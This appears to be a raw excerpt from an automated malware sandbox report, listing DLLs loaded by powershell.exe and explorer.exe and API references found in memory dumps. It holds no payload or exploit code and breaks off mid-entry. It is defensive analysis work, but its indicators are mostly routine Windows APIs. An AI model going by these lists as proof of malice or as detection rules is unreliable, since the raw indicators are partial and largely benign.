%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004004) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00004004) "explorer.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\wminet_utils.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\aspnet_rc.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\aspnet_rc.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_rc.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\webengine4.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter webengine4.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\crypt32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Runteb92aa12#\59a4984a6afe6b209eaaa379927ab81d\System.Runtime.Serialization. (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\msvcrt.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Net.Http\04ab5d047cc99fc5dad36592f805b227\System.Net.Http.ni.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005396) "explorer.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00005396)38:T7225,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API 